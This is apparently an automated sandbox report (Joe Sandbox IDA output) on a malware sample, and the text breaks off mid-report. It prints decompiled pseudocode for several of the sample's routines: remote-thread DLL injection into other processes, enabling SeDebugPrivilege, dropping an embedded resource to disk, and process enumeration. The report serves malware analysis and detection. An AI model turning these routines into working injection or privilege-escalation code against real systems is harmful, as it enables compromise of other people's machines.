0x0040525e
0x00405263
0x00000000
0x00000000
0x00000000
0x00000000
0x004051c1
0x004051ac

APIs

GetSystemDirectoryA.KERNEL32 ref: 004050BF
lstrcatA.KERNEL32(?,0042E308), ref: 0040516B
lstrcatA.KERNEL32(?,?), ref: 0040517A
GetFileAttributesA.KERNEL32(?), ref: 00405184
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004051B7
Process32First.KERNEL32 ref: 004051E9
Process32Next.KERNEL32 ref: 00405259

Part of subcall function 00404840: OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
Part of subcall function 00404840: lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 0040489A
Part of subcall function 00404840: VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048B7
Part of subcall function 00404840: WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048D3
Part of subcall function 00404840: GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 004048EB
Part of subcall function 00404840: GetProcAddress.KERNEL32(00000000), ref: 004048F2
Part of subcall function 00404840: CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

CloseHandle.KERNEL32(00000000), ref: 00405263

Strings

T, xrefs: 004050CF
o, xrefs: 004050D9
G@,, xrefs: 00405096

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CreateHandleProcessProcess32lstrcat$AddressAllocAttributesCloseDirectoryFileFirstMemoryModuleNextOpenProcRemoteSnapshotSystemThreadToolhelp32VirtualWritelstrlen
String ID: G@,$T$o
API String ID: 347023813-3537802069
Opcode ID: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
Instruction ID: feaa7f443b79ad3512fc15c49273def89914fdb135639313c3836c96608cb255
Opcode Fuzzy Hash: 1637164c7f9895b18762df92123e5e50300fe974904146b62b15fd1e0cf0ceda
Instruction Fuzzy Hash: 7C51F03510C3D18AD310DB39AC84BDFBFD48BD6324F485A6DE5E8862D2D6788509CB67

Uniqueness

Uniqueness Score: -1.00%

Function 00404840, Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 95
injectionmemorylibraryCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00404840(long _a4, char _a8) {
				void* _v8;
				intOrPtr _v20;
				char _v29;
				void* _v36;
				void* _v40;
				void* _v44;
				long _v48;
				long _v52;
				void* _v56;
				_Unknown_base(*)()* _v60;
				void* __ebx;
				void* __ebp;
				_Unknown_base(*)()* _t38;
				void* _t39;
				void* _t41;
				void* _t49;
				long _t53;
				intOrPtr _t54;

				_push(0xffffffff);
				_push(0x42e2f8);
				_push(E0042521C);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t54;
				_v40 = 0;
				_v36 = 0;
				_v44 = 0;
				_v8 = 0;
				_t41 = OpenProcess(0x42a, 0, _a4);
				_v36 = _t41;
				if(_t41 != 0) {
					_v29 = 0x34;
					_v29 = 0x37;
					_t9 =  &_a8; // 0x405242
					_t53 = lstrlenA( *_t9) + 1;
					_v48 = _t53;
					_v52 = _t53;
					_v29 = 8;
					_t49 = VirtualAllocEx(_t41, 0, _t53, 0x1000, 4);
					_v56 = _t49;
					if(_t49 != 0) {
						_v29 = 0x6c;
						_t15 =  &_a8; // 0x405242
						if(WriteProcessMemory(_t41, _t49,  *_t15, _t53, 0) != 0) {
							_v29 = 0x6c;
							_t38 = GetProcAddress(GetModuleHandleA("Kernel32"), "LoadLibraryA");
							_v60 = _t38;
							_v29 = 0x20;
							_v29 = 0x81;
							_v29 = 0;
							if(_t38 != 0) {
								_v29 = 0;
								_v29 = 0x28;
								_t39 = CreateRemoteThread(_t41, 0, 0, _t38, _t49, 0, 0);
								_v40 = _t39;
								if(_t39 != 0) {
									_v29 = 0x28;
									 *0x431c83 = 0x28;
									_v44 = 1;
								}
							}
						}
					}
				}
				_v8 = 0xffffffff;
				E00404962(_t41);
				 *[fs:0x0] = _v20;
				return _v44;
			}

0x00404843
0x00404845
0x0040484a
0x00404855
0x00404856
0x00404865
0x00404868
0x0040486b
0x0040486e
0x00404881
0x00404883
0x00404888
0x0040488e
0x00404892
0x00404896
0x004048a2
0x004048a3
0x004048a6
0x004048a9
0x004048bd
0x004048bf
0x004048c4
0x004048c6
0x004048cd
0x004048db
0x004048dd
0x004048f2
0x004048f8
0x004048fb
0x004048ff
0x00404903
0x00404909
0x0040490b
0x0040490f
0x0040491e
0x00404924
0x00404929
0x0040492b
0x0040492f
0x00404936
0x00404936
0x00404929
0x00404909
0x004048db
0x004048c4
0x0040493d
0x00404944
0x0040494f
0x0040495c

APIs

OpenProcess.KERNEL32(0000042A,00000000,?,?,00000000,000000DD,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?), ref: 0040487B
lstrlenA.KERNEL32(BR@,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 0040489A
VirtualAllocEx.KERNEL32(00000000,00000000,00000001,00001000,00000004,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048B7
WriteProcessMemory.KERNEL32(00000000,00000000,BR@,00000001,00000000,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000), ref: 004048D3
GetModuleHandleA.KERNEL32(Kernel32,LoadLibraryA,?,?,00000000,0042521C,0042E2F8,000000FF,?,00405242,?,?,00000000,?), ref: 004048EB
GetProcAddress.KERNEL32(00000000), ref: 004048F2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040491E

Strings

(, xrefs: 0040492B
Kernel32, xrefs: 004048E6
LoadLibraryA, xrefs: 004048E1
BR@, xrefs: 00404896, 004048CD, 00404899, 004048D0

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Process$AddressAllocCreateHandleMemoryModuleOpenProcRemoteThreadVirtualWritelstrlen
String ID: ($BR@$Kernel32$LoadLibraryA
API String ID: 3328640463-1592096681
Opcode ID: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
Instruction ID: b8c2f0deb781411a5cbda0f33fd6846fbbcdfb44d071191cfa48344f537f40e7
Opcode Fuzzy Hash: 1048440a6fa2ba31e54d9434ac68688d651942ad3db7224efd2e259a51c0311f
Instruction Fuzzy Hash: A831B3B0A40394EFEB208BA98C48B9FBFB9AB96714F14016AF550B62C1C7B44501C7B8

Uniqueness

Uniqueness Score: -1.00%

Function 0041E0B0, Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 135
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041E0B0(void* __eflags, CHAR* _a8) {
				struct HINSTANCE__* _v0;
				char _v1;
				char _v2;
				char _v3;
				long _v4;
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				CHAR* _t18;
				struct HRSRC__* _t19;
				void* _t20;
				void* _t22;
				void* _t23;
				signed char _t25;
				signed char _t28;
				signed int _t30;
				struct HINSTANCE__* _t34;
				signed int _t37;
				signed short _t41;
				signed short _t42;
				signed short _t43;
				signed int _t44;
				signed int _t47;
				signed char _t53;
				void* _t59;
				void* _t60;
				void* _t61;
				struct HRSRC__* _t65;
				void* _t66;
				long _t68;

				_v8 = 0x6a;
				_v7 = 0xc1;
				_v6 = 0xa4;
				_v5 = 0x4a;
				_v4 = 0x86;
				_v3 = 0xe4;
				_v2 = 0x8d;
				_v1 = 0xe3;
				_t18 = E0041DDE0( &_v4, 4,  &_v8);
				_t34 = _v0;
				_t19 = FindResourceA(_t34, _a8, _t18);
				_t65 = _t19;
				if(_t65 != 0) {
					_t20 = LoadResource(_t34, _t65);
					_t59 = _t20;
					if(_t59 != 0) {
						_t68 = SizeofResource(_t34, _t65);
						_t22 = LockResource(_t59);
						_t60 = _t22;
						if(_t60 != 0) {
							 *0x431f20 = 0x76;
							 *0x431f24 = 0x71;
							_t23 = CreateFileA(_a8, 2, 0, 0, 2, 0, 0);
							_t41 =  *0x431f28; // 0x0
							_t66 = _t23;
							_t25 = _t41 + 0x6c;
							_t37 = _t41 & 0xfffffffd | 0x0000003c;
							 *0x431f1c = _t25;
							if(_t66 != 0xffffffff) {
								 *0x431f24 = 0x71;
								if(WriteFile(_t66, _t60, _t68,  &_v4, 0) != 0) {
									_t42 =  *0x431f28; // 0x0
									_t28 =  *0x431f1c; // 0x0
									_t25 = _t28 | _t37 - 0x00000035 & _t42;
									_t43 = _t42 ^ _t37;
									_t37 = 0x76;
									 *0x431f28 = _t43;
									 *0x431f24 = 0x71;
									_t61 = 1;
									_t44 = 0x76;
									goto L11;
								} else {
									_t44 =  *0x431f20; // 0x0
									_t25 = 0x71;
									 *0x431f28 = 0x22;
									_t37 = _t44 & _t37 | 0x00000027;
									_t61 = 0;
								}
							} else {
								_t47 =  *0x431f20; // 0x0
								_t44 = _t47 | 0x00002806;
								_t61 = 0;
								L11:
								 *0x431f20 = _t44;
							}
							_t53 =  *0x431f28; // 0x0
							 *0x431f1c = _t25 | _t44 - 0x00000035 & _t53;
							_t30 =  *0x431f24; // 0x0
							 *0x431f24 = _t30 * _t37;
							 *0x431f28 = _t37 | 0x0000003b;
							if(_t66 != 0xffffffff) {
								CloseHandle(_t66);
							}
							return _t61;
						} else {
							return _t22;
						}
					} else {
						return _t20;
					}
				} else {
					return _t19;
				}
			}

0x0041e0c3
0x0041e0c8
0x0041e0cd
0x0041e0d2
0x0041e0d7
0x0041e0dc
0x0041e0e1
0x0041e0e6
0x0041e0eb
0x0041e0f4
0x0041e0fb
0x0041e101
0x0041e105
0x0041e110
0x0041e116
0x0041e11a
0x0041e12d
0x0041e12f
0x0041e135
0x0041e139
0x0041e154
0x0041e15e
0x0041e165
0x0041e16b
0x0041e175
0x0041e17c
0x0041e17e
0x0041e184
0x0041e189
0x0041e1a5
0x0041e1b4
0x0041e1d4
0x0041e1db
0x0041e1e7
0x0041e1e9
0x0041e1ec
0x0041e1f1
0x0041e1f8
0x0041e1ff
0x0041e204
0x00000000
0x0041e1b6
0x0041e1b6
0x0041e1c3
0x0041e1c5
0x0041e1ce
0x0041e1d0
0x0041e1d0
0x0041e18b
0x0041e18b
0x0041e191
0x0041e197
0x0041e206
0x0041e206
0x0041e206
0x0041e20c
0x0041e219
0x0041e21e
0x0041e22b
0x0041e230
0x0041e237
0x0041e23a
0x0041e23a
0x0041e249
0x0041e13b
0x0041e142
0x0041e142
0x0041e11c
0x0041e122
0x0041e122
0x0041e10c
0x0041e10c
0x0041e10c

APIs

FindResourceA.KERNEL32(?,?,00000000), ref: 0041E0FB
LoadResource.KERNEL32(?,00000000,?), ref: 0041E110

Strings

J, xrefs: 0041E0D2
j, xrefs: 0041E0C3

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Resource$FindLoad
String ID: J$j
API String ID: 2619053042-3737368804
Opcode ID: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
Instruction ID: fac2f0c8f6ecf36566f1a5ae47c595f35cc5e359fa8f75e74032fb34fa1c9e17
Opcode Fuzzy Hash: 59f09915b7c398c90ca5aa23a131cfd19cb12457168d76c6417c5eaae1914163
Instruction Fuzzy Hash: 4541293A2087815BD3118B29AC85BD73B94D79A370F145139E9A1873F1D778484BC76E

Uniqueness

Uniqueness Score: -1.00%

Function 004047A0, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004047A0() {
				intOrPtr _v4;
				intOrPtr _v8;
				struct _TOKEN_PRIVILEGES _v16;
				struct _LUID _v24;
				void* _v28;
				int _t14;
				signed char _t22;

				GetCurrentProcess();
				_t14 = OpenProcessToken(GetCurrentProcess(), 0x28,  &_v28);
				if(_t14 != 0) {
					if(LookupPrivilegeValueA(0, "SeDebugPrivilege",  &_v24) != 0) {
						_v16.Privileges = _v24.LowPart;
						_v16.PrivilegeCount = 1;
						_v8 = _v24.HighPart;
						_v4 = 2;
						 *0x431c83 = 0x61;
						AdjustTokenPrivileges(_v28, 0,  &_v16, 0x10, 0, 0);
						_t22 =  *0x431c83; // 0x0
						 *0x431c83 = _t22 - 0x0000000c & 0x00000028;
					}
					return CloseHandle(_v28);
				}
				return _t14;
			}

0x004047aa
0x004047b6
0x004047bf
0x004047d5
0x004047ea
0x004047f5
0x004047fd
0x00404801
0x00404809
0x00404810
0x00404816
0x00404822
0x00404822
0x00000000
0x0040482c
0x00404835

APIs

GetCurrentProcess.KERNEL32(74E481D0,?,?,?,?,?,?,004051B3), ref: 004047AA
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,?,?,?,004051B3), ref: 004047B3
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,004051B3), ref: 004047B6
LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 004047CD
AdjustTokenPrivileges.ADVAPI32 ref: 00404810
CloseHandle.KERNEL32(?,?,?,?,?,?,004051B3), ref: 0040482C

Strings

SeDebugPrivilege, xrefs: 004047C6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Process$CurrentToken$AdjustCloseHandleLookupOpenPrivilegePrivilegesValue
String ID: SeDebugPrivilege
API String ID: 3621747604-2896544425
Opcode ID: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
Instruction ID: 052f3df82ca70502255671040b2a31584c8238dd5ceadda2b5f1d62a07713268
Opcode Fuzzy Hash: 0b374022394a715b8987bc5ef204c25a5dec9ab52c03f500be3cd1fab7d0c95c
Instruction Fuzzy Hash: ED01C475608340AFE310DF65DC49B9B7BE4BB88700F40682CF28497291C7B49505CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00404110, Relevance: 7.8, APIs: 5, Instructions: 295
synchronizationCOMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E00404110(intOrPtr __ecx, signed int _a4, signed int _a8) {
				void* _v0;
				char _v12;
				signed int _v16;
				long _v20;
				intOrPtr _v28;
				long _v36;
				intOrPtr _v40;
				char _v48;
				char _v52;
				intOrPtr _v56;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				intOrPtr _v84;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				intOrPtr _v132;
				char _v136;
				intOrPtr* _v140;
				intOrPtr* _v144;
				intOrPtr* _v148;
				char _v156;
				void* __ebp;
				signed int _t114;
				intOrPtr* _t124;
				intOrPtr _t129;
				signed char _t136;
				signed char _t139;
				signed int _t140;
				signed int _t152;
				void* _t155;
				signed char _t157;
				signed char _t158;
				intOrPtr* _t161;
				signed int _t181;
				signed int _t182;
				signed int _t185;
				signed int _t188;
				void* _t197;
				signed int _t200;
				void* _t216;
				intOrPtr _t230;
				intOrPtr _t240;
				intOrPtr* _t246;
				intOrPtr* _t248;
				signed char _t255;
				intOrPtr _t263;
				intOrPtr _t267;
				void* _t268;

				_push(0xffffffff);
				_push(E0042D220);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t267;
				_t268 = _t267 - 0x6c;
				_t255 = _a8;
				_v112 = __ecx;
				E00402BC0(_t255,  *((intOrPtr*)( *((intOrPtr*)(_t255 + 4)) + 4)));
				 *((intOrPtr*)( *((intOrPtr*)(_t255 + 4)) + 4)) =  *((intOrPtr*)(_t255 + 4));
				 *((intOrPtr*)(_t255 + 8)) = 0;
				 *((intOrPtr*)( *((intOrPtr*)(_t255 + 4)))) =  *((intOrPtr*)(_t255 + 4));
				 *((intOrPtr*)( *((intOrPtr*)(_t255 + 4)) + 8)) =  *((intOrPtr*)(_t255 + 4));
				_t114 =  *0x431c82; // 0x0
				_t181 = (_t114 * 0x00000016 - 0x0000001f & 0x000000ff | _a4 & 0x000000ff) + 0x00000078 ^ 0x00000053;
				_a4 = _t181 ^ _t114 * 0x00000016 >> 0x00000020;
				WaitForSingleObject(_v0, 0xffffffff);
				_t182 = _t181 | 0x00007df3;
				_v84 = 0;
				_t246 = _v0;
				_t124 = _t246;
				_a4 = _a4 | _t182 * 0x0000006e - 0x0000001f;
				_v80 = 0xf;
				_v100 = 0;
				_t197 = _t124 + 1;
				do {
					_t230 =  *_t124;
					_t124 = _t124 + 1;
				} while (_t230 != 0);
				E004028A0( &_v100, _t246, _t124 - _t197);
				_v12 = 0;
				_t129 =  *((intOrPtr*)(E004029C0( &_v116,  &_v108)));
				_v132 = _t129;
				_v20 = 0xffffffff;
				if(_v92 >= 0x10) {
					_push(_v96);
					L00424BCD();
					_t129 = _v116;
					_t268 = _t268 + 4;
				}
				_v76 = 0xf;
				_v80 = 0;
				_v96 = 0;
				if(_t129 == _a8) {
					_a8 = _a8 & 0x000000ff ^ _t182 ^ 0x00000039;
					ReleaseMutex(_v0);
					_t200 = _a8;
					_t136 = _t200 ^ 0x00000016;
					_push(0);
					_push( &_v120);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t246);
					_a8 = _t136;
					_t185 = _t136 & 0x000000ff ^ _t200 ^ 0x0000004a;
					_v120 = 0;
					if( *0x431f0c() != 0) {
						L26:
						 *[fs:0x0] = _v36;
						return 0;
					} else {
						_t139 =  *0x431c82; // 0x0
						_t248 = _v144;
						_t140 = _t139 | 0x00000061;
						 *0x431c82 = _t140;
						_v140 = _t248;
						while(_t248 != 0) {
							_t152 = _t140 * _t185;
							_t185 = _t185 * 0x2c76;
							_v16 = _v16 | _t152 - 0x0000001f;
							if( *((short*)(_t248 + 8)) == 0xf) {
								_t155 =  *0x431eb4( *((intOrPtr*)(_t248 + 0x18)));
								if(_t155 != 0) {
									_t263 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t155 + 0xc))))));
									_t157 =  *0x431c82; // 0x0
									_t158 = _t157 + _t185 + _v20 - 0x73;
									 *0x431c82 = _t158;
									_t250 =  *((intOrPtr*)(_v148 + 0x18));
									_t185 = _t185 ^ _t158 ^ 0x00000034;
									_t161 =  *((intOrPtr*)(_v148 + 0x18));
									_v20 = 0x13;
									_v104 = 0xf;
									_v108 = 0;
									_v124 = 0;
									_t216 = _t161 + 1;
									do {
										_t240 =  *_t161;
										_t161 = _t161 + 1;
									} while (_t240 != 0);
									E004028A0( &_v128, _t250, _t161 - _t216);
									_v80 = _t263;
									_v40 = 1;
									_v52 = 0xf;
									_v56 = 0;
									_v72 = 0;
									E004027B0( &_v76,  &_v136, 0, 0xffffffff);
									_push( &_v92);
									_v52 = 2;
									E004031F0( &_v156);
									if(_v72 >= 0x10) {
										_push(_v68);
										L00424BCD();
										_t268 = _t268 + 4;
									}
									_v48 = 0xf;
									_v52 = 0;
									_v68 = 0;
									_v36 = 0xffffffff;
									if(_v108 >= 0x10) {
										_push(_v128);
										L00424BCD();
										_t268 = _t268 + 4;
									}
									_v108 = 0xf;
									_v112 = 0;
									_v128 = 0;
								}
								_t248 = _v148;
							}
							_t140 = 0x43 - _v16;
							 *0x431c82 = 0x43;
							_t248 =  *_t248;
							_v144 = _t248;
						}
						 *0x431f10(_v140, 1);
						if( *((intOrPtr*)(_t255 + 8)) == 0) {
							goto L26;
						} else {
							WaitForSingleObject(_v0, 0xffffffff);
							_t188 =  *0x431c82 * 0x23;
							E00402A90( &_v104, _v28);
							_push(_t255);
							_v40 = 3;
							E004034D0(E00403F40( &_a4),  &_v108);
							if(_v92 >= 0x10) {
								_push(_v104);
								L00424BCD();
								_t268 = _t268 + 4;
							}
							ReleaseMutex(_v0);
							 *0x431c82 = 0x43 - _t188;
							 *[fs:0x0] = _v48;
							return 1;
						}
					}
				} else {
					_t252 = _t129 + 0x28;
					if(_t255 != _t129 + 0x28) {
						E004032F0(_t255,  &_a4,  *((intOrPtr*)( *((intOrPtr*)(_t255 + 4)))),  *((intOrPtr*)(_t255 + 4)));
						E004033B0(_t255, _t252);
					}
					ReleaseMutex(_v0);
					 *[fs:0x0] = _v12;
					return 1;
				}
			}

0x00404110
0x00404112
0x0040411d
0x0040411e
0x00404125
0x0040412b
0x0040413e
0x00404142
0x0040414a
0x00404152
0x00404155
0x0040415a
0x0040415d
0x0040417b
0x00404185
0x0040418c
0x00404199
0x004041a9
0x004041ad
0x004041b4
0x004041b6
0x004041bd
0x004041c5
0x004041ca
0x004041d0
0x004041d0
0x004041d2
0x004041d3
0x004041df
0x004041f1
0x00404206
0x00404208
0x0040420c
0x00404217
0x0040421d
0x0040421e
0x00404223
0x00404227
0x00404227
0x0040422d
0x00404235
0x0040423d
0x00404242
0x0040429a
0x004042a5
0x004042ab
0x004042b4
0x004042b9
0x004042c1
0x004042c2
0x004042c4
0x004042c6
0x004042c8
0x004042c9
0x004042d0
0x004042d3
0x004042e3
0x0040451b
0x00404525
0x0040452f
0x004042e9
0x004042e9
0x004042ee
0x004042f2
0x004042f6
0x004042fb
0x004042ff
0x00404317
0x00404319
0x00404328
0x0040432f
0x00404339
0x00404341
0x0040434c
0x00404355
0x00404365
0x00404367
0x0040436c
0x00404375
0x00404377
0x00404379
0x00404381
0x00404389
0x00404391
0x00404396
0x004043a0
0x004043a0
0x004043a2
0x004043a3
0x004043af
0x004043b8
0x004043cb
0x004043d6
0x004043dd
0x004043e4
0x004043e9
0x004043f2
0x004043fa
0x00404402
0x0040440c
0x00404412
0x00404413
0x00404418
0x00404418
0x00404420
0x00404424
0x00404428
0x0040442d
0x00404438
0x0040443e
0x0040443f
0x00404444
0x00404444
0x00404447
0x0040444f
0x00404453
0x00404453
0x00404458
0x00404458
0x00404465
0x00404467
0x0040446c
0x00404470
0x00404470
0x00404481
0x0040448c
0x00000000
0x00404492
0x00404498
0x004044ac
0x004044b4
0x004044b9
0x004044c2
0x004044d4
0x004044de
0x004044e4
0x004044e5
0x004044ea
0x004044ea
0x004044f1
0x004044fe
0x0040450e
0x00404518
0x00404518
0x0040448c
0x00404244
0x00404244
0x00404249
0x0040425c
0x00404264
0x00404264
0x0040426d
0x00404280
0x0040428a
0x0040428a

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,00000000,00000000,?,00000001), ref: 0040418C
ReleaseMutex.KERNEL32(?,?,?,?,?), ref: 0040426D
ReleaseMutex.KERNEL32(?), ref: 004042A5
WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404498
ReleaseMutex.KERNEL32(00000000,?,?,00000000,?,000000FF), ref: 004044F1

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait
String ID:
API String ID: 257779224-0
Opcode ID: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
Instruction ID: 8c9ce78122583aa8a55ee52179d80f89be94f9b8b227595c5774061f7ec44eb9
Opcode Fuzzy Hash: 8f655228cdc90f06d313c78c90473a3e5cbcebb0cb1dc3bdbce8e6e6bec819a1
Instruction Fuzzy Hash: 50C190751083809FD320CF29D885B9BBBE4AFD9304F10492EF599873A2CB78A509CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00429F44, Relevance: 7.6, APIs: 5, Instructions: 92
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00429F44(void* __ecx, void* __eflags) {
				void* _v8;
				long _v12;
				long _v16;
				signed char _v23;
				struct _MEMORY_BASIC_INFORMATION _v44;
				struct _SYSTEM_INFO _v80;
				void* _v92;
				void* _t29;
				int _t33;
				intOrPtr _t35;
				void* _t43;
				void* _t46;
				signed int _t49;
				void* _t54;
				void* _t55;
				void* _t62;
				void* _t63;

				_t29 = 4;
				E004254B0(_t29, __ecx);
				_t55 = _t63;
				if(VirtualQuery(_t55,  &_v44, 0x1c) == 0) {
					L9:
					_t33 = 0;
				} else {
					_t46 = _v44.AllocationBase;
					GetSystemInfo( &_v80);
					_t49 = _v80.dwPageSize;
					_t35 =  *0x432214; // 0x2
					_t54 = ( !(_t49 - 1) & _t55) - _t49;
					asm("sbb esi, esi");
					_t62 = (( ~(_t35 - 1) & 0xfffffff1) + 0x11) * _t49 + _t46;
					_v12 = _t49;
					if(_t54 < _t62) {
						goto L9;
					} else {
						if(_t35 == 1) {
							_v8 = _t54;
							goto L14;
						} else {
							_v8 = _t46;
							while(VirtualQuery(_v8,  &_v44, 0x1c) != 0) {
								_v8 = _v8 + _v44.RegionSize;
								if((_v44.State & 0x00001000) == 0) {
									continue;
								} else {
									_t43 = _v44.BaseAddress;
									_v8 = _t43;
									if((_v23 & 0x00000001) == 0) {
										if(_t54 >= _t43) {
											if(_t43 < _t62) {
												_v8 = _t62;
											}
											VirtualAlloc(_v8, _v12, 0x1000, 4);
											_t35 =  *0x432214; // 0x2
											L14:
											asm("sbb eax, eax");
											_t33 = VirtualProtect(_v8, _v12, ( ~(_t35 - 1) & 0x00000103) + 1,  &_v16);
										} else {
											goto L9;
										}
									} else {
										_t33 = 1;
									}
								}
								goto L15;
							}
							goto L9;
						}
					}
				}
				L15:
				return _t33;
			}

0x00429f4f
0x00429f50
0x00429f55
0x00429f66
0x00429fdf
0x00429fdf
0x00429f68
0x00429f68
0x00429f6f
0x00429f75
0x00429f78
0x00429f84
0x00429f8b
0x00429f96
0x00429f9a
0x00429f9d
0x00000000
0x00429f9f
0x00429fa2
0x0042a000
0x00000000
0x00429fa4
0x00429fa4
0x00429fac
0x00429fc2
0x00429fc8
0x00000000
0x00429fca
0x00429fce
0x00429fd1
0x00429fd4
0x00429fdd
0x00429fe5
0x00429fe7
0x00429fe7
0x00429ff3
0x00429ff9
0x0042a003
0x0042a006
0x0042a019
0x00000000
0x00000000
0x00000000
0x00429fd6
0x00429fd8
0x00429fd8
0x00429fd4
0x00000000
0x00429fc8
0x00000000
0x00429fac
0x00429fa2
0x00429f9d
0x0042a01f
0x0042a026

APIs

VirtualQuery.KERNEL32(?,?,0000001C), ref: 00429F5E
GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 00429F6F
VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 00429FB5
VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 00429FF3
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0042A019

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Virtual$Query$AllocInfoProtectSystem
String ID:
API String ID: 4136887677-0
Opcode ID: c67923648d0627a3e019e3e4bfa5385d88bc288047f0f5f504da8e189111f8be
Instruction ID: eda20bf0d75a8237f75d833b080248ab74fea35a03fb107c59d71fc75ff335a4
